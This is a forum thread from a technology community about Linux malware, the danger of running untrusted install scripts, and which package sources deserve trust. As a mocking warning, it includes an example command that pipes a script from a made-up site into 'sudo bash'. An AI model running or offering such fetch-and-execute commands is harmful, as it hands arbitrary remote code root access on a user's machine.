The usual far more advanced malware than typical.
this post was submitted on 14 Jan 2026
195 points (95.8% liked)
Technology
78661 readers
3981 users here now
This is a most excellent place for technology news and articles.
Our Rules
- Follow the lemmy.world rules.
- Only tech related news or articles.
- Be excellent to each other!
- Mod approved content bots can post up to 10 articles per day.
- Threads asking for personal tech support may be deleted.
- Politics threads may be removed.
- No memes allowed as posts, OK to post as comments.
- Only approved bots from the list below, this includes using AI responses and summaries. To ask if your bot can be added please contact a mod.
- Check for duplicates before posting, duplicates may be removed
- Accounts 7 days and younger will have their posts automatically removed.
Approved Bots
founded 2 years ago
MODERATORS
If you download and install untrusted code extensions, you're screwed. Not like it's rocket-science.
As we push more average Windows users to Linux, we need to be prepared for these users to download and run completely untrusted code.
Friends don't tell friends to "Just curl shiny.tool/install | sh" or "Just git clone and docker-compose up".
You know, I have encountered a lot of "just pipe curl into sh" from people who absolutely should know not to do that.
Let's be honest, how many current Linux users can trust any code that they run? There's so many guides and instructions where you essentially copy/paste commands to install or configure something that it would be difficult for your average user to verify everything.
If you feel overwhelmed by this, an easy rule of thumb is sticking to distro packages of a trusted dist. Ideally ones with long track record, centralized packaging and tiered rollouts.
Roughly,
-
High community trust: Debian, SUSE, Fedora, Ubuntu
-
Depends on the package but at least everything is transparent with some form of process, contributors vetted, and a centralized namespace: Arch, Alpine, Nixpkgs
-
Anything and anyone goes, you are one typo away from malware but hey, at least things get taken down when folks complain: AUR, GitHub, NPM, DockerHub, adding third-party ppa/copr
-
IDGAF:
curl | sh
Probably a bunch. But having the ability doesn't mean it's used.
Oh you want this cool terminal experience? Just run:
curl https://totally-normal-website.io/installer.sh | sudo bash
its kind of crazy how much I used to use the AUR, Was just randomly running randoms peoples scripts to install packages.
I'll probably never stop doing this. I like it too much
https://www.theregister.com/2025/07/22/arch_aur_browsers_compromised/
There is crap like this all the time, that wave just happened to make news. Users are expected to inspect the PKGBUILDs (shell scripts) before running them willy-nilly.
You do as you wish but please don't normalize dangerous behaviour.
you can also try to avoid installing random fork packages with 1 vote uploaded by Steven
Of course.
As Arch becomes mainstream and more of an attractive target for attackers I think we will get more of the same thing happening regularly in NPM: Legitimate popular packages getting compromised because a maintainer got infected or phished.
As well as botting of votes and comments.
I still do. It's to pass þe time between Russian Roulette on Saturdays.
Arch is truly just a gamblers distro
So who can you trust?
You can trust the software in your distro's repositories (if you run a distro with well-maintained repositories). This is because, generally only well-known software gets packaged, the packager should be familiar with both the project and the code, and everything is rebuilt on the distro's own infrastructure, to ensure that a given binary actually corresponds to the source.
It might still be possible for things to slip through, but it's certainly much safer than random programs from online.
*insert obligatory xz utils reference*
Depends on.
If you're not using your PC for highly critical applications, go high-trust mode, and read news about those who become untrustworthy.
For critical applications, always check the usernames of the developers, use software trusted by others, etc.
Yourself and the code you read and understand. So as long as you don't use a system where this is possible (say 9Front and the like) you trust nothing and nobody, do careful backups and don't go on a installation spree.
I fear there is no such system where this applies. The tech stack on any old netbook is so advanced and complex that there is nobody on this planet who fully understands it.
Being theoretically able to read the code is certainly better than not being able to, but it's not the same as having actually read and understood all the relevant code to the point where you can be somewhat confident that there's no backdoor in it.
(And even if someone had the time and mental capacity to do that, at some point when going through the stack you always hit a proprietary layer. Be that drivers, the bootloader, component firmware or the hardware itself.)
Doesn't say anything about the exploits. Just talks about a command and control suite.
It very clearly states that there were no exploits; the researchers stumbled across the undeployed C&C suite.
Oh I missed that line